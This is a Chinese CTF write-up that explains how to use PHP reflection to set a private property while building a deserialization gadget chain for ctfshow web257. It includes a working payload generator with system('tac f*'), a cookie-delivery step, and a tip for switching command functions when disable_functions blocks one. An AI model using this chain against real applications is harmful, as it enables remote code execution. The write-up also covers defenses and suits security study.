PHP反序列化中使用反射绕过私有属性
以ctfshow的web257为灵感
反射(Reflection)是 PHP 提供的一套“在运行时查看、操作类内部结构”的官方 API
| 类 | 作用 |
|---|---|
ReflectionClass | 类名、父类、接口、属性列表、方法列表;创建实例;newInstanceWithoutConstructor() |
ReflectionProperty | 读写属性,包括 private/protected;setAccessible()、getValue()、setValue() |
ReflectionMethod | 调用方法,包括 private;invoke()、invokeArgs() |
ReflectionFunction/ReflectionParameter | 函数、参数、默认值、类型 |
ReflectionAttribute | PHP 8 的 Attribute(注解) |
这里以ctfshow的web257为例
源代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{//info类 正常类 private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code);//这里有eval可以执行PHP代码 所以需要想办法触发getinfo } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }<?php class ctfShowUser{ private $username='a'; private $password='b'; private $isVip=false; private $class; public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=new backDoor(); $a->class=$b;//这个地方会报错 $b->code=="system('tac f*');"; echo serialize($a); ?>本来想尝试这种做法 在最后统一串起来 但是由于class被设置为私有属性不能额外调用
然后询问AI得知可以使用反射绕过私有属性
故开始尝试
最终得到
<?php class ctfShowUser{ private $username='a'; private $password='b'; private $isVip=false; private $class; public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this->code); } } $a=new ctfShowUser(); $b=new backDoor(); $b->code = 'system("tac f*");'; // 反射修改私有属性 $ref = new ReflectionClass($a); $prop = $ref->getProperty('class'); $prop->setValue($a,$b); $ser = serialize($a); echo "序列化后:".$ser."\n"; echo "url编码后:".urlencode($ser); ?>将得到url编码后的内容放到cookie里 再传username和password的参 即可得到flag
| 变量 | 类型 | 作用 |
|---|---|---|
$ref | ReflectionClass对象 | ctfShowUser这个类的“说明书 + 操作手柄” |
$prop | ReflectionProperty对象 | ctfShowUser::$class这个属性槽的句柄 |
$ser | string | serialize($a)得到的序列化字符串 |
$ref 类的反射对象
$ref->getName(); // 类名 $ref->getProperties(); // 所有属性(含 private) $ref->getMethods(); // 所有方法 $ref->getConstructor(); // 构造函数 $ref->newInstanceWithoutConstructor(); // 不走构造函数创建实例$prop 属性的反射对象
$prop = $ref->getProperty('class'); $prop->setValue($a, $b);getProperty('class')返回一个ReflectionProperty代表ctfShowUser::$class这个槽位setValue($a, $b)把$b写进$a->class
$ser 序列化结果
普通字符串,内容是整个对象图(包括私有属性)
扩充的知识点
- 反射家族:
ReflectionClass、ReflectionProperty、ReflectionMethod、ReflectionFunction、ReflectionParameter、PHP 8 的ReflectionAttribute。框架的依赖注入、ORM、PHPUnit 都靠它们。 setAccessible()的历史:PHP 8.1 起是空操作;之前必须显式打开,读 private 属性也一样。newInstanceWithoutConstructor():跳过构造函数,避免构造函数里的副作用(重置属性、连数据库、抛异常)。这是真实 gadget 链脚本里最常用的 API 之一。ReflectionObject:专门针对对象的反射类,ReflectionClass的子类;传对象时两者都能用。- 序列化格式细节:
O:类名长度:"类名":属性个数:{...}、s:字节长度:"值";、private 的\0类名\0属性、protected 的\0*\0属性;长度按字节算,属性个数只数实际写进去的。 - 自定义序列化:
__sleep()/__serialize()控制“序列化哪些属性”,__wakeup()/__unserialize()在反序列化时触发;这道题没有,但真实链子里常见。 unserialize()的第二个参数:['allowed_classes' => [...]]白名单;不存在的类会变成__PHP_Incomplete_Class。- Cookie 传输:
urlencodevsrawurlencode、%00、双重编码(%2500)、;会截断 Cookie、NUL 在浏览器里不可见。 - 对象生命周期:
__destruct()在脚本结束或对象释放时触发;生成脚本里保留析构方法,会在本地执行一次命令。 - 本地生成 vs 服务端利用:反射跑在你的生成脚本里;靶机只执行
unserialize()。unserialize()本身就不受可见性限制,所以私有属性在它面前不是防线。 - 危险函数:
eval、system、shell_exec、passthru;靶场常见disable_functions会禁用其中一部分,system不行就换shell_exec,反之亦然。 - 防御:不要
unserialize()用户输入;用json_decode();必须反序列化时用allowed_classes白名单 + HMAC 签名;不要把eval放进__destruct()。